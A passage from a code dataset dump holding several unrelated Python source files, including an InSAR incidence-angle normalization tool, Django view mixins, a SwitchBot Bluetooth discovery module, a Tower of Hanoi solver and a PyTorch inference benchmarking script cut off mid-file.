dest='mapName', type=str,\n required=True,\n help='Velocity map filename.')\n InputArgs.add_argument('-i','--incidence', dest='iName', type=str,\n required=True,\n help='Incidence map filename.')\n InputArgs.add_argument('-t','--normalization-type', dest='normType',\n required=True,\n type=str, choices=['sin', 'sine', 'cos', 'cosine'],\n help='Type of normalization: sin = /sine(incidence); cos = /cosine(incidence)')\n InputArgs.add_argument('-m','--mask', dest='maskArgs', nargs='+', type=str,\n default=None,\n help='Arguments for masking values.')\n InputArgs.add_argument('--de-norm', dest='deNorm', action='store_true',\n help='Project back into LOS (multiply by sin(incidence angle)).')\n\n OutputArgs = parser.add_argument_group('OUTPUTS')\n OutputArgs.add_argument('-o','--outName', dest='outName', type=str,\n default='Out',\n help='Output name.')\n OutputArgs.add_argument('--verbose', dest='verbose', action='store_true', \n help='Verbose mode.')\n OutputArgs.add_argument('-p','--plot', dest='plot', action='store_true', \n help='Plot inputs and outputs.')\n return parser\n\ndef cmdParser(iargs = None):\n parser = createParser()\n return parser.parse_args(args=iargs)\n\n\n\n### NORMALIZATION ---\ndef normalize_velocity(vel, inc, mask, normType, deNorm=False, verbose=False):\n '''\n Normalize the velocity by the sine of the incidence angle.\n '''\n if verbose == True: print('Normalizing to incidence angle')\n\n # Mask to avoid dividing by zero\n vel = np.ma.array(vel, mask=(mask==0))\n inv = np.ma.array(inc, mask=(mask==0))\n\n # Compute normalization factor\n if normType in ['sin', 'sine']:\n # Compute sine of incidence angle\n incNorm = np.sin(np.deg2rad(inc))\n elif normType in ['cos', 'cosine']:\n # Compute cosine of incidence angle\n incNorm = np.cos(np.deg2rad(inc))\n\n # Normalize velocity\n if deNorm == False:\n normVelocity = vel/incNorm\n elif deNorm == True:\n normVelocity = vel*incNorm\n\n # Unmask\n normVelocity.mask = np.ma.nomask\n\n return normVelocity\n\n\n\n### PLOTTING ---\ndef plot_datasets(inVelocity, incidence, outVelocity, mask, extent):\n '''\n Plot original and normalized/projected data sets.\n '''\n # Spawn figure\n fig, [axVel, axInc, axNorm] = plt.subplots(ncols=3)\n cbarOrient = 'horizontal'\n\n # Plot input velocity\n vmin, vmax = image_percentiles(inVelocity)\n fig, axVel = plot_raster(inVelocity, mask=mask, extent=extent,\n cmap='jet', vmin=vmin, vmax=vmax, cbarOrient=cbarOrient,\n fig=fig, ax=axVel)\n axVel.set_title('Orig. veloc.')\n\n # Plot incidence field\n fig, axInc = plot_raster(incidence, mask=mask, extent=extent,\n cbarOrient=cbarOrient,\n fig=fig, ax=axInc)\n axInc.set_title('Incid.')\n\n # Plot normalized velocity field\n fig, axNorm = plot_raster(outVelocity, mask=mask, extent=extent,\n cmap='jet', minPct=1, maxPct=99, cbarOrient=cbarOrient,\n fig=fig, ax=axNorm)\n axNorm.set_title('Normd. veloc.')\n\n\n\n### MAIN ---\nif __name__ == '__main__':\n ## Inputs\n # Gather arguments\n inps = cmdParser()\n\n\n ## Load data sets\n # Load velocity map\n DSvel = load_gdal_dataset(inps.mapName)\n vel = DSvel.GetRasterBand(1).ReadAsArray()\n\n # Load incidence map\n DSinc = load_gdal_dataset(inps.iName)\n inc = DSinc.GetRasterBand(1).ReadAsArray()\n\n # Check velocity and incidence maps are same size\n assert vel.shape == inc.shape, \\\n 'Velocity and incidence maps must be same size'\n\n\n ## Masking\n mask = create_mask(vel, inps.maskArgs, verbose=inps.verbose)\n\n\n ## Normalize velocity map\n projVel = normalize_velocity(vel, inc, mask, inps.normType, inps.deNorm,\n verbose=inps.verbose)\n\n\n ## Save to file\n # Confirm output directory exists\n confirm_outdir(inps.outName) # confirm output directory exists\n\n # Confirm outname extension\n outName = confirm_outname_ext(inps.outName, ['tif', 'tiff'])\n\n # Save data set\n save_gdal_dataset(outName, projVel, mask=mask, exDS=DSvel,\n verbose=inps.verbose)\n\n\n ## Plot\n if inps.plot == True: plot_datasets(vel, inc, projVel, mask,\n DS_to_extent(DSvel))\n\n\n plt.show()","repo_name":"rzinke/InsarAdd-On","sub_path":"bin/normalize_incidence.py","file_name":"normalize_incidence.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38782933252","text":"import sys\n\n\ndef get_input():\n return (input(\"Enter a hexadecimal number: \"))\n\n\ndef validate_input(raw_input):\n for i in range(0, len(raw_input)):\n try:\n int(raw_input[i])\n except:\n sys.exit(\"Enter numbers only\")\n return raw_input\n\n\ndef convert_input_to_float(validated_input):\n decimal = 0\n for power, digit in enumerate(reversed(validated_input)):\n decimal += int(digit, 16) * (16**power)\n return decimal\n\n\nraw_input = get_input()\nvalidated_input = validate_input(raw_input)\nconverted_input = convert_input_to_float(validated_input)\nprint(converted_input)\n\n# I should probably warp the function calls in a main function\n","repo_name":"aggdotred/py_workouts","sub_path":"hexadecimal_out/hexa.py","file_name":"hexa.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29127528011","text":"import numpy as np\nfrom multiagent.scenario import BaseScenario\nfrom multiagent.my_world import World\nfrom multiagent.my_core import Agent, TBlock, Boundary\n\nimport random\n\nclass Scenario(BaseScenario):\n def make_world(self):\n world = World()\n \n # set any world properties first\n self.num_agents = 2\n\n # make initial conditions\n self.reset_world(world)\n return world\n\n def reset_world(self, world):\n world.destroy()\n world.reset_contact_listener()\n\n # add agents\n world.agents = [Agent() for i in range(self.num_agents)]\n for i, agent in enumerate(world.agents):\n agent.name = 'agent_%d' % i\n\n # add blocks\n world.blocks = [TBlock()]\n\n if world.make_walls: \n world.boundary = Boundary()\n world.initialize_boundary()\n\n # initialize blocks + agents in simulation\n world.initialize_agents()\n world.initialize_blocks()\n\n world.set_goal_block()\n world.set_random_goal()\n world.update_states()\n\n world.drawlist = [world.boundary] + world.blocks + world.agents\n\n def reward(self, agent, world):\n reward = 0\n\n # distance of block to goal\n reward -= world.dist_block * world.goal_block.state.dist\n\n # distance of agent to block\n reward -= world.dist_agent * agent.state.dist\n\n return reward\n \n def observation(self, agent, world):\n state = [\n agent.state.rot, # agent rotation\n agent.state.lin_vel[0], # linear velocity\n agent.state.lin_vel[1],\n agent.state.ang_vel, # angular velocity\n agent.state.rel_pos[0], # rel position to block centroid\n agent.state.rel_pos[1],\n agent.state.dist,\n 1.0 if agent.goal_contact else 0.0, # in contact with block\n ]\n\n # relative position of agent to goal_block vertices\n for v in agent.state.rel_vert_pos:\n state.extend([v[0], v[1]])\n\n # relative position to other agents\n for a in agent.state.rel_agent_pos:\n state.extend([a[0], a[1]])\n\n # block relative location\n state.extend([\n world.goal_block.state.rel_pos[0],\n world.goal_block.state.rel_pos[1],\n world.goal_block.state.dist,\n world.goal_block.state.rot,\n 1.0 if world.goal_block.state._in_place else 0.0,\n ])\n\n return np.array(state)\n\n\n def done(self, agent, world):\n # if block in place -- done\n if world.goal_block.state._in_place:\n return True\n return False\n\n\n","repo_name":"khajash/multiagent-env","sub_path":"multiagent/scenarios/simple_blocks.py","file_name":"simple_blocks.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"71348618029","text":"# coding: utf-8\n\nfrom copy import copy\n\nfrom django import http\n\nimport unicodecsv as csv\n\n\nclass ThemeSelectionMixin(object):\n \"\"\"\n Mixin for views that allow selecting a theme\n \"\"\"\n\n def get(self, *args, **kwargs):\n self.set_selected_theme()\n return super(ThemeSelectionMixin, self).get(*args, **kwargs)\n\n def set_selected_theme(self):\n if 'selected_theme' in self.request.GET:\n theme = self.request.GET['selected_theme']\n self.request.session['selected_theme'] = \\\n theme if len(theme) else None\n elif 'selected_theme' not in self.request.session:\n self.request.session['selected_theme'] = None\n\n def get_selected_theme(self):\n if 'selected_theme' in self.request.session:\n return self.request.session['selected_theme']\n else:\n return None\n\n def get_context_data(self, **kwargs):\n c = super(ThemeSelectionMixin, self).get_context_data(**kwargs)\n c['selected_theme'] = self.get_selected_theme()\n c['theme_querystring'] = copy(self.request.GET)\n if 'selected_theme' in c['theme_querystring']:\n del c['theme_querystring']['selected_theme']\n return c\n\n\nclass ActiveLegislatureMixin(object):\n \"\"\"\n Mixin for views that can switch between active legislature and all data\n \"\"\"\n\n default_active_only = True\n\n def get(self, *args, **kwargs):\n self.set_active_only()\n return super(ActiveLegislatureMixin, self).get(*args, **kwargs)\n\n def override_active_only(self):\n \"\"\"\n Redefine this method to override active legislature selection\n - return None to enable user choice\n - return True or False to disable user choice and set active state\n \"\"\"\n return None\n\n def set_active_only(self):\n if 'active_only' in self.request.GET:\n self.request.session['active_only'] = \\\n self.request.GET['active_only'] == '1'\n elif 'active_only' not in self.request.session:\n self.request.session['active_only'] = self.default_active_only\n\n def get_active_only(self):\n overriden = self.override_active_only()\n if overriden is None:\n if 'active_only' in self.request.session:\n return self.request.session['active_only']\n else:\n return self.default_active_only\n else:\n return overriden\n\n def get_context_data(self, **kwargs):\n c = super(ActiveLegislatureMixin, self).get_context_data(**kwargs)\n if self.override_active_only() is None:\n c['active_only'] = self.get_active_only()\n return c\n\n\nclass SortMixin(object):\n \"\"\"\n Mixin for views that allow sorting.\n The sort_modes attribute should be defined to a dict as such:\n {\n 'mode1': {\n 'order': 42,\n 'label': 'mode label',\n 'fields': ['-field1', 'field2', ...]\n },\n ...\n }\n\n The sort_default attribute should contain the default sorting mode.\n \"\"\"\n sort_modes = {}\n sort_default = None\n sort_session_prefix = ''\n\n def get(self, *args, **kwargs):\n self.set_sorting()\n return super(SortMixin, self).get(*args, **kwargs)\n\n def _session_get_sort(self):\n k = '%s_sort' % self.sort_session_prefix\n return self.request.session[k]\n\n def _session_set_sort(self, value):\n k = '%s_sort' % self.sort_session_prefix\n self.request.session[k] = value\n\n def _session_sort_exists(self):\n k = '%s_sort' % self.sort_session_prefix\n return k in self.request.session\n\n def set_sorting(self):\n if 'sort' in self.request.GET:\n self._session_set_sort(self.request.GET['sort'])\n elif not self._session_sort_exists():\n self._session_set_sort(self.sort_default)\n\n if self._session_get_sort() not in self.sort_modes:\n self._session_set_sort(self.sort_default)\n\n def get_context_data(self, **kwargs):\n c = super(SortMixin, self).get_context_data(**kwargs)\n\n c['sort_querystring'] = copy(self.request.GET)\n if 'sort' in c['sort_querystring']:\n del c['sort_querystring']['sort']\n\n c['sort'] = {\n 'modes': [{'id': k, 'label': v['label'], 'order': v['order']}\n for k, v in self.sort_modes.iteritems()],\n 'mode': self._session_get_sort()\n }\n return c\n\n def get_queryset(self):\n qs = super(SortMixin, self).get_queryset()\n if self._session_get_sort() in self.sort_modes:\n mode = self.sort_modes[self._session_get_sort()]\n qs = qs.order_by(*mode['fields'])\n return qs\n\n\nclass PaginationMixin(object):\n pagination_limits = (12, 24, 48, 96)\n\n def get(self, *args, **kwargs):\n self.set_paginate_by()\n return super(PaginationMixin, self).get(*args, **kwargs)\n\n def set_paginate_by(self):\n if 'paginate_by' in self.request.GET:\n self.request.session['paginate_by'] = \\\n self.request.GET['paginate_by']\n\n elif 'paginate_by' not in self.request.session:\n self.request.session['paginate_by'] = 12\n\n def get_paginate_by(self, queryset):\n return self.request.session['paginate_by']\n\n def get_page_range(self, page):\n pages = []\n\n if page and page.paginator.num_pages != 1:\n for i in page.paginator.page_range:\n if page.number - 4 < i < page.number + 4:\n pages.append(i)\n\n return pages\n\n def get_context_data(self, **kwargs):\n c = super(PaginationMixin, self).get_context_data(**kwargs)\n c['pagination_limits'] = self.pagination_limits\n c['paginate_by'] = self.request.session['paginate_by']\n c['page_range'] = self.get_page_range(c['page_obj'])\n c['pagination_querystring'] = copy(self.request.GET)\n if 'page' in c['pagination_querystring']:\n del c['pagination_querystring']['page']\n return c\n\n\nclass GridListMixin(object):\n def set_session_display(self):\n if self.request.GET.get('display') in ('grid', 'list'):\n self.request.session['display'] = self.request.GET.get('display')\n\n if 'display' not in self.request.session:\n self.request.session['display'] = 'grid'\n\n def get(self, *args, **kwargs):\n self.set_session_display()\n return super(GridListMixin, self).get(*args, **kwargs)\n\n def get_template_names(self):\n return [t.replace('_list', '_%s' % self.request.session['display'])\n for t in super(GridListMixin, self).get_template_names()]\n\n def get_context_data(self, **kwargs):\n c = super(GridListMixin, self).get_context_data(**kwargs)\n c['grid_list'] = True\n return c\n\n\nclass CSVDownloadMixin(object):\n def get_context_data(self, **kwargs):\n c = super(CSVDownloadMixin, self).get_context_data(**kwargs)\n c['csv'] = True\n c['csv_querystring'] = copy(self.request.GET)\n return c\n\n def get_paginate_by(self, queryset):\n if self.request.GET.get('csv', None) is None:\n return super(CSVDownloadMixin, self).get_paginate_by(queryset)\n return None\n\n def render_to_csv_response(self, context, **kwargs):\n response = http.HttpResponse(content_type='text/csv')\n\n writer = csv.writer(response)\n for result in self.get_csv_results(context, **kwargs):\n writer.writerow(self.get_csv_row(result))\n\n response['Content-Disposition'] = 'attachment; filename=\"%s.csv\"' % (\n self.csv_name)\n\n return response\n\n def render_to_response(self, context, **kwargs):\n if self.request.GET.get('csv', None) is None:\n return super(CSVDownloadMixin, self).render_to_response(\n context, **kwargs)\n\n return self.render_to_csv_response(context, **kwargs)\n","repo_name":"tomjorquera/memopol","sub_path":"src/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39675940774","text":"\"\"\"Discover switchbot devices.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport logging\n\nimport bleak\nfrom bleak.backends.device import BLEDevice\nfrom bleak.backends.scanner import AdvertisementData\n\nfrom .adv_parser import parse_advertisement_data\nfrom .const import DEFAULT_RETRY_COUNT, DEFAULT_RETRY_TIMEOUT, DEFAULT_SCAN_TIMEOUT\nfrom .models import SwitchBotAdvertisement\n\n_LOGGER = logging.getLogger(__name__)\nCONNECT_LOCK = asyncio.Lock()\n\n\nclass GetSwitchbotDevices:\n \"\"\"Scan for all Switchbot devices and return by type.\"\"\"\n\n def __init__(self, interface: int = 0) -> None:\n \"\"\"Get switchbot devices class constructor.\"\"\"\n self._interface = f\"hci{interface}\"\n self._adv_data: dict[str, SwitchBotAdvertisement] = {}\n\n def detection_callback(\n self,\n device: BLEDevice,\n advertisement_data: AdvertisementData,\n ) -> None:\n \"\"\"Callback for device detection.\"\"\"\n discovery = parse_advertisement_data(device, advertisement_data)\n if discovery:\n self._adv_data[discovery.address] = discovery\n\n async def discover(\n self, retry: int = DEFAULT_RETRY_COUNT, scan_timeout: int = DEFAULT_SCAN_TIMEOUT\n ) -> dict:\n \"\"\"Find switchbot devices and their advertisement data.\"\"\"\n\n devices = None\n devices = bleak.BleakScanner(\n # TODO: Find new UUIDs to filter on. For example, see\n # https://github.com/OpenWonderLabs/SwitchBotAPI-BLE/blob/4ad138bb09f0fbbfa41b152ca327a78c1d0b6ba9/devicetypes/meter.md\n adapter=self._interface,\n )\n devices.register_detection_callback(self.detection_callback)\n\n async with CONNECT_LOCK:\n await devices.start()\n await asyncio.sleep(scan_timeout)\n await devices.stop()\n\n if devices is None:\n if retry < 1:\n _LOGGER.error(\n \"Scanning for Switchbot devices failed. Stop trying\", exc_info=True\n )\n return self._adv_data\n\n _LOGGER.warning(\n \"Error scanning for Switchbot devices. Retrying (remaining: %d)\",\n retry,\n )\n await asyncio.sleep(DEFAULT_RETRY_TIMEOUT)\n return await self.discover(retry - 1, scan_timeout)\n\n return self._adv_data\n\n async def _get_devices_by_model(\n self,\n model: str,\n ) -> dict:\n \"\"\"Get switchbot devices by type.\"\"\"\n if not self._adv_data:\n await self.discover()\n\n return {\n address: adv\n for address, adv in self._adv_data.items()\n if adv.data.get(\"model\") == model\n }\n\n async def get_blind_tilts(self) -> dict[str, SwitchBotAdvertisement]:\n \"\"\"Return all WoBlindTilt/BlindTilts devices with services data.\"\"\"\n regular_blinds = await self._get_devices_by_model(\"x\")\n pairing_blinds = await self._get_devices_by_model(\"X\")\n return {**regular_blinds, **pairing_blinds}\n\n async def get_curtains(self) -> dict[str, SwitchBotAdvertisement]:\n \"\"\"Return all WoCurtain/Curtains devices with services data.\"\"\"\n regular_curtains = await self._get_devices_by_model(\"c\")\n pairing_curtains = await self._get_devices_by_model(\"C\")\n regular_curtains3 = await self._get_devices_by_model(\"{\")\n pairing_curtains3 = await self._get_devices_by_model(\"[\")\n return {**regular_curtains, **pairing_curtains, **regular_curtains3, **pairing_curtains3}\n\n async def get_bots(self) -> dict[str, SwitchBotAdvertisement]:\n \"\"\"Return all WoHand/Bot devices with services data.\"\"\"\n return await self._get_devices_by_model(\"H\")\n\n async def get_tempsensors(self) -> dict[str, SwitchBotAdvertisement]:\n \"\"\"Return all WoSensorTH/Temp sensor devices with services data.\"\"\"\n base_meters = await self._get_devices_by_model(\"T\")\n plus_meters = await self._get_devices_by_model(\"i\")\n io_meters = await self._get_devices_by_model(\"w\")\n return {**base_meters, **plus_meters, **io_meters}\n\n async def get_contactsensors(self) -> dict[str, SwitchBotAdvertisement]:\n \"\"\"Return all WoContact/Contact sensor devices with services data.\"\"\"\n return await self._get_devices_by_model(\"d\")\n\n async def get_locks(self) -> dict[str, SwitchBotAdvertisement]:\n \"\"\"Return all WoLock/Locks devices with services data.\"\"\"\n return await self._get_devices_by_model(\"o\")\n\n async def get_device_data(\n self, address: str\n ) -> dict[str, SwitchBotAdvertisement] | None:\n \"\"\"Return data for specific device.\"\"\"\n if not self._adv_data:\n await self.discover()\n\n return {\n device: adv\n for device, adv in self._adv_data.items()\n # MacOS uses UUIDs instead of MAC addresses\n if adv.data.get(\"address\") == address\n }\n","repo_name":"Danielhiversen/pySwitchbot","sub_path":"switchbot/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":4929,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"37"} +{"seq_id":"7193660849","text":"import copy\n\nclass knowledge:\n changed = None\n\n def head(self):\n \"\"\"\n O objetivo é mudar a posição dos discos do primeiro pino para qualquer outro.\n Inicialmente os discos estão ordenados de 1 -> N no primeiro pino.\n ex:\n [1] | |\n [2] | |\n [3] | |\n +++++++++++\n Regras do jogo:\n (1) Um pino de valor maior não pode ficar acima de um de valor menor.\n ex: pino 2 e 3 não podem ficar acima do pino 1; 3 não pode ficar acima do 2, etc... \n \n Exmplo de objetivo:\n | [1] |\n | [2] |\n | [3] |\n +++++++++++\n \"\"\"\n ##### QUANTIDADE DE DISCOS\n self.discs_num = 9\n ##########################\n platform = []\n platform.append(list(range(self.discs_num , 0, -1)))\n for i in range(2):\n platform.append([])\n platform = self.hanoi_tower_instance(platform, 0)\n print(\"End\")\n\n def hanoi_tower_instance(self, platform, this_pos):\n \"\"\" Este método constroi e atua acima de cada instância que resolverá a torre\n Cada instancia tem direito de movimentar um disco, esta cria uma cópia da mesa,\n verifica as possibilidades com aquele disco, faz a PRIMEIRA mudança possível e\n passa para a próxima isntancia\n Ponto crítico:\n - Caso a isntancia esteja em uma posição que não tem movimentações, é incrementado\n a sua posição para verificação, TODAS INSTANCIA DEVEM MOVIMENTAR, entretando uma\n que esteja com a solução deve somente retorna-lá\n \"\"\"\n local_platform = copy.deepcopy(platform)\n if self.stop_condition(local_platform):\n # Caso esta isntancia atenda a solução, retorna imediatamente o valor desta\n return local_platform\n while True:\n possibilites = self.verify_possibilites(local_platform, this_pos)\n if possibilites == []:\n this_pos = this_pos + 1 if this_pos < 2 else 0\n else: \n break\n t = possibilites[0] # Pega e executa a primeira possibilidade de troca\n local_platform = self.switch_disc(local_platform, this_pos, t[0])\n self.print_tower(local_platform)\n return self.hanoi_tower_instance(local_platform, this_pos)\n\n\n def verify_possibilites(self, platform, position):\n \"\"\" Verifica todas possibilidades de acordo com aquele estado\n Ponto crítico: \n - Plataformas vazias não tem possibilidade de movimentação\n - Plataformas com um disco recentemente movimentado não deverão fazer \n SWAP(não faz sentido mudar de local um disco que acabou de ser alocado)\n - Ignora pinos que tem discos com valores menores doque o que estou \n verificando\n \"\"\"\n plat_possibilites = []\n p_list = self.next_positions(position)\n if len(platform[position]) == 0 or platform[position][-1] == self.changed:\n return []\n else:\n item = platform[position][-1]\n for p in p_list:\n p_disc = platform[p][-1] if len(platform[p]) > 0 else 0\n if p_disc == 0 or (p_disc != 0 and p_disc > item):\n plat_possibilites.append((p, p_disc))\n return plat_possibilites\n\n def next_positions(self, position):\n \"\"\"Constrói uma lista com as próximas posições a serem observadas \n de acordo com um ponto específico\"\"\"\n t = list(range(3))\n t.remove(position)\n if position == 1:\n t.reverse()\n return t \n\n def stop_condition(self, platform):\n \"\"\" Verifica se a plataforma atual atende as condições de parada.\"\"\"\n s = list(range(self.discs_num , 0, -1))\n if platform[1] == s or platform[2] == s:\n return True\n return False\n\n def switch_disc(self, platform, current_pos, destination_pos):\n \"\"\" Faz a troca de posição do disco, retirando a pilha atual a o inserindo em outra\n pop para retirar ultimo e append para inserir ao último\n \"\"\"\n disc = platform[current_pos].pop()\n platform[destination_pos].append(disc)\n self.changed = disc # Salva na memória do algoritmo qual foi o último disco a ser movimentados\n return platform\n\n def print_tower(self, platform):\n \"\"\" Printa a torre de uma maneira mais \"amigável\" \"\"\"\n for i in range(self.discs_num , 0, -1):\n for f in range(3):\n disc = \"[{}]\".format(platform[f][i-1]) if len(platform[f]) >= i else \" | \"\n print(\" {} \".format(disc), end=\"\")\n print(\"\")\n print(\"++++++++++++++\")\n\n\nif __name__ == \"__main__\":\n hanoi = knowledge()\n hanoi.head()","repo_name":"Rafael2121/tower_of_hanoi_m","sub_path":"tower_of_hanoi_m.py","file_name":"tower_of_hanoi_m.py","file_ext":"py","file_size_in_byte":4835,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24892233301","text":"import copy\r\nfrom typing import List\r\nfrom collections import namedtuple\r\nimport os\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.utils.benchmark as benchmark\r\nfrom torch.utils.data import DataLoader, Subset\r\n\r\nimport torch_tensorrt\r\nimport torchvision.models as models\r\nimport torchvision.datasets as datasets\r\nfrom torchvision.models.resnet import ResNet50_Weights\r\nfrom torchvision.models.densenet import DenseNet161_Weights\r\nfrom torchvision.models.squeezenet import SqueezeNet1_1_Weights\r\nfrom torchvision.models.convnext import ConvNeXt_Base_Weights\r\nfrom torchvision.models.efficientnet import EfficientNet_B0_Weights\r\n\r\nfrom torch.ao.quantization import get_default_qconfig, QConfigMapping\r\nfrom torch.ao.quantization.quantize_fx import convert_fx, prepare_fx\r\n\r\nimport gc\r\n\r\nModelInfo = namedtuple(\"ModelInfo\", \"name options model FP32_precision_level FP16_precision INT8_precision\")\r\n\r\n# Define different batch sizes to test\r\nBATCH_SIZES = [1, 2, 4, 8, 16, 32, 64]\r\nCPU_MAX_BATCH_SIZE = 32\r\nACCURACY_COLUMN_NAME = \"Accuracy\"\r\nDATA_DIR = '/mnt/d/DataSets/imagenet/'\r\nOUT_DIR = './output/'\r\nN_CHANNELS = 3\r\nIMG_SIZE=224\r\nMAX_BATCH_SIZE=BATCH_SIZES[-1]\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\ndef main():\r\n \r\n # Check whether the specified path exists or not\r\n isExist = os.path.exists(OUT_DIR)\r\n if not isExist:\r\n os.makedirs(OUT_DIR)\r\n \r\n # Define the models and their corresponding weights\r\n model_configs = [\r\n (models.convnext_base, ConvNeXt_Base_Weights.DEFAULT),\r\n (models.densenet161, DenseNet161_Weights.DEFAULT),\r\n (models.resnet50, ResNet50_Weights.IMAGENET1K_V2),\r\n (models.squeezenet1_1, SqueezeNet1_1_Weights.DEFAULT),\r\n (models.efficientnet_b0, EfficientNet_B0_Weights.DEFAULT)\r\n ]\r\n\r\n # Perform Speed Test on GPU for FP32, FP16\r\n gpu_models = [model(weights=weight) for model, weight in model_configs]\r\n run_speed_benchmark_tests_by_type(gpu_models, 'gpu')\r\n # run_accuracy_benchmark_tests_by_type(gpu_models, 'gpu')\r\n\r\n # Perform Speed Test on CPU for FP32, FP16\r\n global device\r\n device = torch.device('cpu')\r\n cpu_models = [model(weights=weight) for model, weight in model_configs if model not in [models.resnet50, models.efficientnet_b0]]\r\n run_speed_benchmark_tests_by_type(cpu_models, 'cpu')\r\n # run_accuracy_benchmark_tests_for_cpu(cpu_models)\r\n\r\ndef run_speed_benchmark_tests_by_type(models: List[nn.Module], testing_mode: str) -> None:\r\n assert ((testing_mode == 'gpu' and device.type == 'cuda') or \\\r\n (testing_mode == 'cpu' and device.type == 'cpu'))\r\n\r\n batch_size_subset = BATCH_SIZES\r\n if testing_mode == 'cpu':\r\n batch_size_subset = BATCH_SIZES[:BATCH_SIZES.index(CPU_MAX_BATCH_SIZE) + 1]\r\n\r\n for model in models:\r\n model_name = type(model).__name__\r\n \r\n model_list = create_model_optimization_records_gpu(model) if testing_mode == 'gpu' else create_model_optimization_records_cpu(model)\r\n \r\n columns = [\"Model\", \"Options\"] + [f\"Batch Size {batch_size} (ms)\" for batch_size in batch_size_subset]\r\n df = pd.DataFrame(columns=columns)\r\n\r\n run_speed_benchmark_tests(model_list, df)\r\n\r\n csv_path = f'{OUT_DIR}{model_name}_{testing_mode}_speed_results.csv'\r\n df.to_csv(csv_path, index=False)\r\n\r\n graph_path = f'{OUT_DIR}{model_name}_{testing_mode}_speed_results.png'\r\n CreateBarGraph(model_name, csv_path, graph_path)\r\n\r\n\r\ndef run_accuracy_benchmark_tests_by_type(models: List[nn.Module], testing_mode: str) -> None:\r\n assert ((testing_mode == 'gpu' and device.type == 'cuda') or \\\r\n (testing_mode == 'cpu' and device.type == 'cpu'))\r\n\r\n for model in models:\r\n model_name = type(model).__name__\r\n model_list = create_model_optimization_records_gpu(model) if testing_mode == 'gpu' else create_model_optimization_records_cpu(model)\r\n\r\n columns = [\"Model\", \"Options\", ACCURACY_COLUMN_NAME]\r\n\r\n df = pd.DataFrame(columns=columns)\r\n\r\n run_accuracy_benchmark_tests(model_list, df)\r\n\r\n csv_path = f'{OUT_DIR}{model_name}_{testing_mode}_accuracy_results.csv'\r\n df.to_csv(csv_path, index=False)\r\n\r\n graph_path = f'{OUT_DIR}{model_name}_{testing_mode}_accuracy_results.png'\r\n CreateBarGraph(model_name, csv_path, graph_path)\r\n \r\n''' Create the settings to drive the speed tests for GPU related inference. \r\n\r\n This was originally created in a loop, however as different settings were \r\n being changed the loop became complex and listing each configuration made more sense.'''\r\ndef create_model_optimization_records_gpu(standard_model: nn.Module) -> List[ModelInfo]:\r\n # This function is only for GPU testing\r\n assert(device.type == 'cuda')\r\n\r\n result: List[ModelInfo] = []\r\n model_name: str = type(standard_model).__name__\r\n \r\n standard_model.to(device)\r\n standard_model.eval()\r\n \r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Uncompiled (highest precision)\", # options\r\n copy.deepcopy(standard_model), # model\r\n \"highest\", # FP32_precision\r\n False, # FP16_precision\r\n False)) # INT8_precision\r\n\r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Compiled (highest precision)\", # options\r\n torch.compile(copy.deepcopy(standard_model)), # model\r\n \"highest\", # FP32_precision\r\n False, # FP16_precision\r\n False)) # INT8_precision\r\n\r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Compiled (high precision)\", # options\r\n torch.compile(copy.deepcopy(standard_model)), # model\r\n \"high\", # FP32_precision\r\n False, # FP16_precision\r\n False)) # INT8_precision\r\n\r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Compiled (medium precision)\", # options\r\n torch.compile(copy.deepcopy(standard_model)), # model\r\n \"medium\", # FP32_precision\r\n False, # FP16_precision\r\n False)) # INT8_precision\r\n\r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Compiled (16 bit precision)\", # options\r\n torch.compile(copy.deepcopy(standard_model).half()),# model\r\n None, # FP32_precision\r\n True, # FP16_precision\r\n False)) # INT8_precision\r\n \r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"NVIDIA TensorRT (32 bit)\", # options\r\n trt_compile(copy.deepcopy(standard_model)), # model\r\n None, # FP32_precision\r\n False, # FP16_precision\r\n False)) # INT8_precision\r\n \r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"NVIDIA TensorRT (16 bit)\", # options\r\n trt_compile(copy.deepcopy(standard_model).half(), True), # model\r\n None, # FP32_precision\r\n True, # FP16_precision\r\n False)) # INT8_precision\r\n \r\n return result\r\n\r\n''' Create the settings to drive the speed tests for CPU related inference. \r\n\r\n This was originally created in a loop, however as different settings were \r\n being changed the loop became complex and listing each configuration made more sense.'''\r\ndef create_model_optimization_records_cpu(standard_model: nn.Module) -> List[ModelInfo]:\r\n # This function is only for CPU testing\r\n assert(device.type == 'cpu')\r\n \r\n result: List[ModelInfo] = []\r\n model_name: str = type(standard_model).__name__\r\n \r\n standard_model.to(device)\r\n standard_model.eval()\r\n \r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Uncompiled (highest precision)\", # options\r\n copy.deepcopy(standard_model), # model\r\n \"highest\", # FP32_precision\r\n False, # FP16_precision\r\n False)) # INT8_precision\r\n\r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Compiled (highest precision)\", # options\r\n torch.compile(copy.deepcopy(standard_model)), # model\r\n \"highest\", # FP32_precision\r\n False, # FP16_precision\r\n False)) # INT8_precision\r\n\r\n result.append(ModelInfo(\r\n f\"{model_name}\", # name\r\n \"Pytorch Quantized (8 Bit)\", #options\r\n 